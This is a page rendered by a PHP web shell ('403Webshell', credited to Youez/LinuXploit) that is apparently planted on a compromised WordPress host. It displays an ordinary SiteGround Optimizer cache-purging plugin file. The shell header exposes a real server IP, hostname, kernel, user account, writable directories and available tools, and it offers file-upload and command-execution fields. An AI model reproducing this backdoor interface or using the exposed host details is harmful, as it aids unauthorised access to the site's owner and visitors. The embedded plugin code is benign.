403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/INFRABIKEDE/wp-content/plugins/sg-cachepress/core/Supercacher/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/INFRABIKEDE/wp-content/plugins/sg-cachepress/core/Supercacher/Supercacher_Terms.php
<?php
namespace SiteGround_Optimizer\Supercacher;

use SiteGround_Optimizer\Helper\Update_Queue_Trait;

/**
 * SG CachePress class that handle term actions and purge the cache.
 */
class Supercacher_Terms {
	use Update_Queue_Trait;
	/**
	 * Array of all taxonomies that should be ignored.
	 *
	 * @var array $ignored_taxonomies Array of all taxonomies that should be ignored.
	 */
	private $ignored_taxonomies = array(
		'product_type',
		'product_visibility',
	);

	/**
	 * Purge single term cache.
	 *
	 * @since  5.0.0
	 *
	 * @param  int $term_id The term id.
	 *
	 * @return bool         True on success, false on failure.
	 */
	public function get_term_url( $term_id ) {
		// Get the term.
		$term = \get_term( $term_id );

		// Bail if we should ignore the taxonomy.
		if ( 
			NULL === $term ||
			is_wp_error( $term ) ||
			in_array( $term->taxonomy, $this->ignored_taxonomies ) 
		) {
			return;
		}

		// Get term link.
		$term_url = \get_term_link( $term_id );

		if ( empty( $term_url ) ) {
			return;
		}

		return $term_url;
	}

	/**
	 * Purge the term and index.php cache.
	 *
	 * @since  5.0.0
	 *
	 * @param  int $term_id The term id.
	 */
	public function purge_term_and_index_cache( $term_id ) {
		$this->update_queue( array(
			get_rest_url(),
			get_home_url( null, '/' ),
			$this->get_term_url( $term_id ),
		) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit